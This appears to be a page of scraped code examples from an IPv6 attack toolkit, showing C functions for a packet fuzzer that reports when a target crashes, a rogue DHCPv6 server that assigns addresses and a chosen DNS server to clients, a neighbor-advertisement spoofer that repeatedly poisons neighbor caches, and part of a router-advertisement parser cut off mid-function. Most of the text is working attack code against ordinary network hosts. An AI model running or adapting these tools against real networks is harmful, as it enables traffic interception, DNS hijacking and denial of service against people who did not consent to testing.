    if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6mld);
    break;
  case DO_MLD2_QUERY:
    buf[0] = 0xff;
    buf[1] = 0x02;
    buf[15] = 0x05;
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    buf[16] = 7;
    buf[17] = 120;
    buf[19] = 3;
    memcpy(buf + 20, dst6, 16);
    memcpy(buf + 36, buf, 16);
    if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6mld2que);
    break;
  case DO_MLD2_REPORT:
    for (i = 0; i < 3; i++) {
      buf[0 + 68 * i] = 1 + i * 2 - i / 2;      //include new++, generates 1, 3 and 4
      buf[3 + 68 * i] = 3;      //3 sources
      buf[4 + 68 * i] = 0xff;
      buf[5 + 68 * i] = 0x02;
      buf[18 + 68 * i] = 0x82 + i % 256;
      buf[19 + 68 * i] = 0xff;
      memcpy(buf + 20 + 68 * i, src6, 16);
      buf[36 + 68 * i] = 0xfe;
      buf[37 + 68 * i] = 0x80;
      buf[46 + 68 * i] = 0xf0;
      if (someaddr6 != NULL)
        memcpy(buf + 52 + 68 * i, someaddr6, 16);
    }

    if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6mld2rep);
    break;

  default:
    fprintf(stderr, "ERROR: Mode not implemented yet!\n");
    exit(-1);
  }

  if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0)
    return -1;
  hdr = (thc_ipv6_hdr *) pkt;

  if (jumbo) {
    i = 0;
    j = 1;
    while (i < hdr->pkt_len + 4 && j) {
      if (hdr->pkt[i] == 'J')
        if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0)
          j = 0;
      i++;
    }
    if (j) {
      fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n");
      exit(-1);
    } else
      i--;
    hdr->pkt[i] = 0;
    hdr->pkt[i + 1] = 0;
    hdr->pkt[i + 2] = hdr->pkt[4 + off2];
    hdr->pkt[i + 3] = hdr->pkt[5 + off2];
    hdr->pkt[4 + off2] = 0;
    hdr->pkt[5 + off2] = 0;
  }

  if (extend)
    for (i = 0; i < strlen(fuzzbuf); i++)
      if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F')
        fuzzbuf[i] = 'X';

  // backup of generated packet
  pkt_bak = malloc(hdr->pkt_len);
  memcpy(pkt_bak, hdr->pkt, hdr->pkt_len);

  printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end);
//printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf);
  while (do_fuzz) {
    if (test_cnt == 0)
      while (fuzzbuf[test_ptr] == '.') {
        test_ptr++;
        test_pos++;
      }

    if (fuzzbuf[test_ptr] == 0)
      do_fuzz = 0;

    test_cnt++;
    do_it = 1;

//printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end);
    switch (fuzzbuf[test_ptr]) {
    case 0:
      break;
    case 'X':
      if (test_cnt <= COUNT_EXTEND) {
        if (pkt_bak[test_pos] != extends[test_cnt - 1])
          hdr->pkt[test_pos] = extends[test_cnt - 1];
        else
          do_it = 0;
      } else {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'B':
      if (test_cnt <= COUNT_BYTE) {
        if (pkt_bak[test_pos] != bytes[test_cnt - 1])
          hdr->pkt[test_pos] = bytes[test_cnt - 1];
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_BYTE && do_it) {
          if (bytes[i] == pkt_bak[test_pos])
            do_it = 0;
          i++;
        }
        if (do_it)
          hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
      }
      if (test_cnt == COUNT_BYTE + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'F':
      if (test_cnt <= COUNT_FLAG) {
        if (pkt_bak[test_pos] != flags[test_cnt - 1])
          hdr->pkt[test_pos] = flags[test_cnt - 1];
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_FLAG && do_it) {
          if (bytes[i] == pkt_bak[test_pos])    // yes, bytes[] is the right one even for flags
            do_it = 0;
          i++;
        }
        if (do_it)
          hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
      }
      if (test_cnt == COUNT_FLAG + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'W':
      sip = (unsigned short int *) &pkt_bak[test_pos];
      if (test_cnt <= COUNT_WORD) {
        if (*sip != words[test_cnt - 1])
          memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1] + _TAKE2, 2);
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_WORD && do_it) {
          if (words[i] == *sip)
            do_it = 0;
          i++;
        }
        if (do_it) {
          i = *sip ^ xors[test_cnt - COUNT_WORD - 1];
          sip = (unsigned short int *) &hdr->pkt[test_pos];
          *sip = i % 65536;
        }
      }
      if (test_cnt == COUNT_WORD + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos += 2;
      }
      break;
    default:
      fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr,
              fuzzbuf);
      exit(-1);
      break;
    }

    if (do_it && do_fuzz) {
      if (test_current >= test_start && test_current <= test_end && do_fuzz) {
        // fill icmp id+seq and unique buffer with test case number
        if (fragment)
          memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current + _TAKE4, 4);
        switch (do_type) {
        case DO_NONE:
          // empty
          break;
        case DO_PING:
          for (i = 0; i < 4 + 1; i++)
            memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current + _TAKE4, 4);
          break;
        case DO_TCP:
          memcpy(hdr->pkt + offset + 58, (char *) &test_current + _TAKE4, 4);
          break;
        case DO_NEIGHSOL:
        case DO_NEIGHADV:
          break;                // do nothing for these
        case DO_NODEQUERY:
          memcpy(hdr->pkt + offset + 66, (char *) &test_current + _TAKE4, 4);
          break;
        case DO_RA:
          memcpy(hdr->pkt + offset + 0x62, (char *) &test_current + _TAKE4, 4);  // prefix update
          memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16);       // routing update
          memcpy(hdr->pkt + 8, (char *) &test_current + _TAKE4, 4);    // srcmac update
          memcpy(hdr->pkt + offset + 0x72, (char *) &test_current + _TAKE4, 4);  // srcmac update
          memcpy(hdr->pkt + 0x10 + off2, (char *) &test_current + _TAKE4, 4);       // srcip update
          memcpy(hdr->original_src, hdr->pkt + 8 + off2, 16);      // srcip update for checksum
          break;
        case DO_MLD_QUERY:
        case DO_MLD_DONE:
        case DO_MLD_REP:
        case DO_MLD2_QUERY:
          memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current + _TAKE4, 4);
          break;
        case DO_MLD2_REPORT:   //??? XXX TODO CHECK
          memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current + _TAKE4, 4);
          memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current + _TAKE4, 4);
          memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current + _TAKE4, 4);
          break;
        default:
          fprintf(stderr, "ERROR!!!\n");
          exit(-1);
        }

        // regenerate checksum
        if (do_type != DO_TCP && do_type != DO_NONE) {       // maybe for later non-icmp stuff
          hdr->pkt[offset + 56] = 0;
          hdr->pkt[offset + 57] = 0;
          i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54);
          hdr->pkt[offset + 56] = i / 256;
          hdr->pkt[offset + 57] = i % 256;
        } else { // TCP
          hdr->pkt[offset + 70] = 0;
          hdr->pkt[offset + 71] = 0;
          i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_TCP, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54);
          hdr->pkt[offset + 70] = i / 256;
          hdr->pkt[offset + 71] = i % 256;
        }
        // send packet
        for (k = 0; k < no_send; k++) {
          while(thc_send_pkt(interface, pkt, &pkt_len) < 0)
            usleep(1);
        }
        printf(".");
        usleep(250);
        // if ping, check ping again
        if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current)
          if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) {
            i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1;
            printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current);
            exit(1);
          }
      }
//else printf("NOT SENT - NOT IN TEST LIST\n");
      // reset to basic packet
      memcpy(hdr->pkt, pkt_bak, hdr->pkt_len);
      test_current++;
    }
//else printf("NOT SENT!\n");
  }

  printf("\n");
  // ping afterwards to check if it worked
  if (do_alive) {
    if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) {
      printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos);
      exit(1);
    } else
      printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]);
  }

  thc_pcap_close(p);
  return 0;
}
Пример #8
0
int main(int argc, char *argv[]) {
  char *routerip, *interface, mac[16] = "";
  char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024], mybuf[1024];
  unsigned char *routerip6, *mac6 = mac, *ip6, *ptr, *ptr1, *ptr2, *ptr3;
  unsigned char *dns;
  int size, fromlen = 0, /*mtu = 1500, */ i, j, k, l, m, s, len, t, mlen, csize = 0;
  static struct iovec iov;
  struct sockaddr_storage from;
  struct msghdr mhdr;
  struct sockaddr_in6 ddst;
  unsigned long long int count = 0;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);

  if (strcmp(argv[1], "-r") == 0) {     // is ignored
    argv++;
    argc--;
  }

  memset(mac, 0, sizeof(mac));
  interface = argv[1];
  if (thc_get_own_mac(interface) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  if (argc >= 6 && (ptr = argv[5]) != NULL)
    sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
           (unsigned int *) &mac[5]);
  else
    mac6 = thc_get_own_mac(interface);

  if (argc >= 5 && argv[4] != NULL)
    ip6 = thc_resolve6(argv[4]);
  else
    ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);

  if (argc >= 4 && argv[3] != NULL)
    dns = thc_resolve6(argv[3]);
  else
    dns = thc_resolve6("ff02::fb");

  routerip = argv[2];
  if ((ptr = index(routerip, '/')) == NULL) {
    printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
    exit(-1);
  }
  *ptr++ = 0;
  size = atoi(ptr);

  routerip6 = thc_resolve6(routerip);

  if (routerip6 == NULL || size < 1 || size > 128) {
    fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[2]);
    exit(-1);
  }
  if (size < 64) {
    fprintf(stderr, "Warning: network prefix must be a minimum of /64, resizing to /64\n");
    size = 64;
  }
  if (size % 8 > 0) {
    size = ((size / 8) + 1) * 8;
    fprintf(stderr, "Warning: prefix must be a multiple of 8, resizing to /%d\n", csize * 8);
  }
  csize = 8 - ((size - 64) / 8);
  if (dns == NULL) {
    fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[3]);
    exit(-1);
  }
  if (ip6 == NULL) {
    fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[4]);
    exit(-1);
  }

/*
  if (mtu < 1 || mtu > 65536) {
    fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[5]);
    exit(-1);
  }
  if (mtu < 1228 || mtu > 1500)
    fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu);
*/
  if (mac6 == NULL) {
    fprintf(stderr, "Error: mac address in invalid\n");
    exit(-1);
  }

  if ((s = thc_bind_udp_port(547)) < 0) {
    fprintf(stderr, "Error: could not bind to 547/udp\n");
    exit(-1);
  }
  if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) < 0 || thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")) < 0) {
    fprintf(stderr, "Error: could not bind multicast address\n");
    exit(-1);
  }
  if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) {
    perror("Error:");
    exit(-1);
  }

  memset(mybuf, 0, sizeof(mybuf));
  mybuf[1] = 2;
  mybuf[3] = 14;
  mybuf[5] = 1;
  mybuf[7] = 1;
  // mybuf + 8 == time
  memcpy(mybuf + 12, mac6, 6);
  mlen = 18;
  mybuf[mlen + 1] = 23;
  mybuf[mlen + 3] = 16;
  memcpy(mybuf + mlen + 4, dns, 16);
  mlen += 20;

  printf("Starting to fake dhcp6 server on %s for %s (Press Control-C to end) ...\n\n", interface, argv[2]);
  while (1) {
    memset((char *) &from, 0, sizeof(from));
    memset(&iov, 0, sizeof(iov));
    memset(&mhdr, 0, sizeof(mhdr));
    iov.iov_base = rdatabuf;
    iov.iov_len = sizeof(rdatabuf);
    mhdr.msg_name = &from;
    mhdr.msg_namelen = sizeof(from);
    mhdr.msg_iov = &iov;
    mhdr.msg_iovlen = 1;
    mhdr.msg_control = (caddr_t) cmsgbuf;
    mhdr.msg_controllen = sizeof(cmsgbuf);
    if ((len = recvmsg(s, &mhdr, 0)) > 0) {
      fromlen = mhdr.msg_namelen;
      if (debug)
        thc_dump_data(rdatabuf, len, "Received Packet");
      ddst.sin6_addr = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_addr;
      ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr);
      switch (rdatabuf[0]) {
      case 1:
        ptr1 = "Solicitate";
        break;
      case 2:
        ptr1 = "Advertise (illegal, ignored)";
        break;
      case 3:
        ptr1 = "Request";
        break;
      case 4:
        ptr1 = "Confirm";
        break;
      case 5:
        ptr1 = "Renew";
        break;
      case 6:
        ptr1 = "Rebind";
        break;
      case 7:
        ptr1 = "Reply (illegal, ignored)";
        break;
      case 8:
        ptr1 = "Release (ignored)";
        break;
      case 9:
        ptr1 = "Decline (ignored)";
        break;
      case 10:
        ptr1 = "Reconfigure (illegal, ignored)";
        break;
      case 11:
        ptr1 = "Information Request (ignored)";
        break;
      case 12:
        ptr1 = "Relay Forward (ignored)";
        break;
      case 13:
        ptr1 = "Relay Reply (ignored)";
        break;
      default:
        ptr1 = "Unknown (ignored)";
        break;
      }
      printf("Received DHCP6 %s packet from %s\n", ptr1, ptr2);
      free(ptr2);
      if (rdatabuf[0] >= 1 && rdatabuf[0] < 7 && rdatabuf[0] != 2) {
        memset(wdatabuf, 0, sizeof(wdatabuf));
        memcpy(wdatabuf + 1, rdatabuf + 1, 3);
        i = j = 4;
        k = -1;
        if (rdatabuf[0] == 1) { // initial request
          wdatabuf[0] = 2;
          while ((j + 4) < len) {
            l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3];
            if (l + j + 4 > len) {
              l = 0;
              j = len;
              printf("Info: received evil packet\n");
            } else {
              if (rdatabuf[j + 1] == 1) {
                memcpy(wdatabuf + i, rdatabuf + j, l + 4);
                i += l + 4;
              } else if (rdatabuf[j + 1] == 3) {
                k = j;          // just set a pointer
              }
              j += l + 4;
            }
          }
          // add 02, 23
          j = time(NULL);
          memcpy(mybuf + 8, (char *) &j + _TAKE4, 4);
          memcpy(wdatabuf + i, mybuf, mlen);
          i += mlen;
          // now expand 3
          if (k > -1 && rdatabuf[k + 3] == 12 && rdatabuf[k + 2] == 0) {        // copy structure
            memcpy(wdatabuf + i, rdatabuf + k, 16);
          } else {              // or create new
            wdatabuf[i + 1] = 3;
            memcpy(wdatabuf + i + 4, (char *) &j + _TAKE4, 4);   // copy time as IAID
          }
          wdatabuf[i + 3] = 40;
          memset(wdatabuf + i + 8, 0, 8);
          wdatabuf[i + 10] = 0x7f;
          wdatabuf[i + 14] = 0xfe;
          i += 16;
          wdatabuf[i + 1] = 5;
          wdatabuf[i + 3] = 24;
          memcpy(wdatabuf + i + 4, routerip6, 16);      // address
          count++;
          if (csize > 0)
            memcpy(wdatabuf + i + 4 + 16 - csize, (char *) &count, csize);      // counter
          ptr3 = thc_ipv62notation(wdatabuf + i + 4);
          wdatabuf[i + 21] = 2;
          wdatabuf[i + 25] = 2;
          i += 28;
        } else {
          wdatabuf[0] = 7;
          m = 0;
          while ((j + 4) < len) {
            l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3];
            if (l + j + 4 > len) {
              l = 0;
              j = len;
              printf("Info: received evil packet\n");
            } else {            // just copy types 1-3 and 23
              if ((rdatabuf[j + 1] >= 1 && rdatabuf[j + 1] <= 3) || rdatabuf[j + 1] == 23) {
                memcpy(wdatabuf + i, rdatabuf + j, l + 4);
                i += l + 4;
                if (rdatabuf[j + 1] == 23)
                  k = 1;
                if (rdatabuf[j + 1] == 3)
                  m = 1;
              }
              j += l + 4;
            }
          }
          if (k == -1) {
            memcpy(wdatabuf + i, mybuf + 18, 20);
            i += 20;
          }
        }
        len = i;
        if (debug)
          thc_dump_data(wdatabuf, len, "Reply Packet");
        ddst.sin6_family = AF_INET6;
        ddst.sin6_port = htons(546);
        //ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr;
        ddst.sin6_scope_id = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_scope_id;
        if (sendto(t, wdatabuf, len, 0, (struct sockaddr *) &ddst, sizeof(ddst)) < 0)
          perror("Error:");
        else {
          ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr);
          if (wdatabuf[0] == 2) {
            printf("Sent DHCP6 Advertise packet to %s (offer: %s)\n", ptr2, ptr3);
            free(ptr3);
          } else if (m)
            printf("Sent DHCP6 Reply packet to %s (address accepted)\n", ptr2);
          else
            printf("Sent DHCP6 Reply packet to %s (did not set address)\n", ptr2);
          free(ptr2);
        }
      }
    }
  }

/*  packet structure:
      1 byte  = type
      3 bytes = sessionid
      while(packet data) {
        2 bytes = type
        2 bytes = length in bytes of following data
        ... defined fixed length data ...
      }

    server listen on ff02::1:2 udp 547
    client connects from linklocal port 546, ttl 1
        01 = solicit
        3 bytes = sessionid
        6 bytes = blog (elapsed, 8)
        8 bytes = 01 blob (client id + time + mac)
        4 bytes = time
        6 bytes = mac
        16 bytes = 03 blob (want perm address)
        5 + length + hostname = hostname
        18 bytes = blob (vendor class, type 16)
        12 bytes = blob (requested options, type 6)
    server sends to linklocal (respect client port), ttl 1
        02 = advertise
        3 bytes = sessionid (copy)
        18 bytes = 01 blob (client copy of client-id)
        8 bytes = 02 blob (server id + time + mac)
        4 bytes = time
        6 bytes = mac
        0003 = give perm address
        2 bytes = length
        4 bytes = IAID (from client request!)
        4 bytes = validity time 1 (1800)
        4 bytes = validity time 2 (2880)
          0005 = address structure
          2 bytes = length (24 bytes)
          16 bytes = address
          4 bytes = validity time (3600)
          4 byte = validity time (same)
        0023 = dns option
        2 bytes = length (16 bytes)
        16 bytes = dns server address
    client sends to ff02::1:2 !
        03 = request
        3 bytes = sessionid
        6 bytes = blog (elapsed, 8)
        8 bytes = 01 blob (client id + time + mac)
        4 bytes = time
        6 bytes = mac
        18 bytes = client (again)
        18 bytes = server (copy)
        44 bytes = address (copy)
        5 + length + hostname = hostname (again)
        18 bytes = blob again (vendor class, type 16)
        12 bytes = blob again (requested options, type 6)
    server replies
        7 = reply
        copy original advertise packet :-)
  */

  return 0;                     // never reached
}
Пример #9
0
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
  unsigned char *ipv6hdr = (unsigned char *) (data + 14);

  if (debug) {
    printf("DEBUG: packet received\n");
    thc_dump_data((unsigned char *) data, header->caplen, "Received Packet");
  }
  if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78)
    return;
  if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) == 0)
    return;
  if (debug)
    printf("DEBUG: packet is a valid icmp6 neighbor solitication\n");

  memcpy(ipv6->pkt, data + 6, 6);       // copy srcmac to dstmac
  memcpy(ipv6->pkt + 38, data + 22, 16);        // copy srcip6 to dstip6
  memcpy(ipv6->pkt + 22, data + 62, 16);        // copy target to srcip6
  memcpy(ipv6->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 62, 16);     // copy target to target
  ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
  ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
  mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32);
  ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256;
  ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256;
  if (do_dst)
    thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240);
  else
    thc_send_pkt(interface, pkt, &pkt_len);

  ptr2 = thc_ipv62notation(ipv6->pkt + 38);
  ptr4 = thc_ipv62notation(ipv6->pkt + 22);
  printf("Spoofed packet to %s as %s\n", ptr2, ptr4);
  free(ptr2);
  free(ptr4);

  ipv6->pkt[pkt_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only
  ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
  ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
  mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32);
  ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256;
  ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256;
  if (do_dst)
    thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240);
  else
    thc_send_pkt(interface, pkt, &pkt_len);

  if (do_reverse) {
    memcpy(ipv62->pkt, data + 74, 4);   // create the multicast mac for the dst so we dont need to do a NS :-)
    memcpy(ipv62->pkt + 38, data + 62, 16);     // copy target do dst6
    memcpy(ipv62->pkt + 22, data + 22, 16);     // copy source to source
    memcpy(ipv62->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 22, 16);  // copy source to target
    ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
    ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
    mychecksum = checksum_pseudo_header(ipv62->pkt + 22, ipv62->pkt + 38, NXT_ICMP6, ipv62->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32);
    ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256;
    ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256;
    if (do_dst)
      thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240);
    else
      thc_send_pkt(interface, pkt2, &pkt2_len);
    ptr2 = thc_ipv62notation(ipv62->pkt + 38);
    ptr4 = thc_ipv62notation(ipv62->pkt + 22);
    printf("Spoofed packet to %s as %s\n", ptr2, ptr4);
    free(ptr2);
    free(ptr4);
  }

  if ((pp[pp_cnt] = fork()) == 0) {
    usleep(200);
    debug = 0;
    if (do_dst) {
      thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240);
      thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240);
    } else {
      thc_send_pkt(interface, pkt, &pkt_len);
      if (do_reverse)
        thc_send_pkt(interface, pkt2, &pkt2_len);
    }
    sleep(1);

    if (do_loop == 1) {
      signal(SIGTERM, exit);
      signal(SIGSEGV, exit);
      signal(SIGHUP, exit);
      signal(SIGINT, exit);
      while (1) {
        sleep(5);
        if (do_dst) {
          thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240);
          thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240);
        } else {
          thc_send_pkt(interface, pkt, &pkt_len);
          if (do_reverse)
            thc_send_pkt(interface, pkt2, &pkt2_len);
        }
      }
    }
    exit(0);
  } else if (do_loop == 1 && pp[pp_cnt] != -1) {
    if (pp_cnt < 65534)
      pp_cnt++;
    else
      do_loop = 2;
  }

  ipv6->pkt[56] = 0;
  ipv6->pkt[57] = 0;
  ipv6->pkt[pkt_len - 28] = 0x60; // set SOL flag again
  (void) wait3(NULL, WNOHANG, NULL);
  return;
}
Пример #10
0
void dump_ra_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
    unsigned char *ipv6hdr = (unsigned char *) (data + 14), *ptr, *ptr2, tmpbuf[16];
    int i, k, len = header->caplen - 14;

    if (do_hdr_size > 0) {
        ipv6hdr = (unsigned char *) (data + do_hdr_size);
        len -= (do_hdr_size - 14);
        if ((ipv6hdr[0] & 240) != 0x60)
            return;
    }

    if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERADV || len < 40 + 16)
        return;

    if (seen > 0) {
        for (i = 0; i < seen_cnt; i++)
            if (memcmp(seen[i], ipv6hdr + 8, 16) == 0)
                return;
    }
    if (seen_cnt <= MAX_SEEN)
        memcpy(seen[seen_cnt++], ipv6hdr + 8, 16);

    printf("Router: %s (MAC: %02x:%02x:%02x:%02x:%02x:%02x)\n", thc_ipv62notation(ipv6hdr + 8), data[6], data[7], data[8], data[9], data[10], data[11]);
    printf("  Priority: ");
    i = ipv6hdr[45] & 24;
    switch (i) {
    case 0:
        printf("medium\n");
        break;
    case 8:
        printf("high\n");
        break;
    case 16:
        printf("reserved value\n");
        break;
    case 24:
        printf("low\n");
        break;
    }
    printf("  Hop Count: %d\n", ipv6hdr[44]);
    printf("  Lifetime: %d, Reachable: %u, Retrans: %u\n", (ipv6hdr[46] << 8) + ipv6hdr[47], (ipv6hdr[48] << 24) + (ipv6hdr[49] << 16) + (ipv6hdr[50] << 8) + ipv6hdr[51],
           (ipv6hdr[52] << 24) + (ipv6hdr[53] << 16) + (ipv6hdr[54] << 8) + ipv6hdr[55]);
    printf("  Flags: ");
    if ((ipv6hdr[45] & 128) > 0)
        printf("managed ");
    else
        printf("NOTmanaged ");
    if ((ipv6hdr[45] & 64) > 0)
        printf("other ");
    else
        printf("NOTother ");
    if ((ipv6hdr[45] & 32) > 0)
        printf("home-agent ");
    else
        printf("NOThome-agent ");
    if ((ipv6hdr[45] & 4) > 0)
        printf("proxied ");
    else
        printf("NOTproxied ");
    if ((ipv6hdr[45] & 2) > 0)
        printf("RESERVED-2-BIT-SET ");
    if ((ipv6hdr[45] & 1) > 0)
        printf("RESERVED-1-BIT-SET");
    printf("\n");
    i = len - 56;
    ptr = ipv6hdr + 56;
    printf("  Options:\n");
    while (i > 0) {
        if (i < 8 || ptr[1] * 8 > i || ptr[1] == 0) {
            printf("Packet truncated!\n\n");
            return;
        }
        // (ptr[] << 24) + (ptr[] << 16) + (ptr[] << 8) + ptr[]
        switch (*ptr) {
        case 1:
            printf("    MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", ptr[2], ptr[3], ptr[4], ptr[5], ptr[6], ptr[7]);
            break;
        case 3:
            if (ptr[1] != 4)
                printf("    Prefix: illegal\n");
            else {
                printf("    Prefix: %s/%d (Valid: %u, Preferred: %u)\n", thc_ipv62notation(ptr + 16), ptr[2], (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7],
                       (ptr[8] << 24) + (ptr[9] << 16) + (ptr[10] << 8) + ptr[11]);
                printf("      Flags:");
                if ((ptr[3] & 128) > 0)
                    printf(" On-Link");
                else
                    printf(" NOT-on-link");
                if ((ptr[3] & 64) > 0)
                    printf(" Autoconfig");
                else
                    printf(" NOT-autoconfig");
                if ((ptr[3] & 63) > 0)
                    printf(" RESERVED-BITS-SET-%d", ptr[3] & 63);
                printf("\n");
            }
            break;
        case 5:
            printf("    MTU: %d\n", (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]);
            break;
        case 24:
            if (ptr[1] != 3 && ptr[1] != 2)
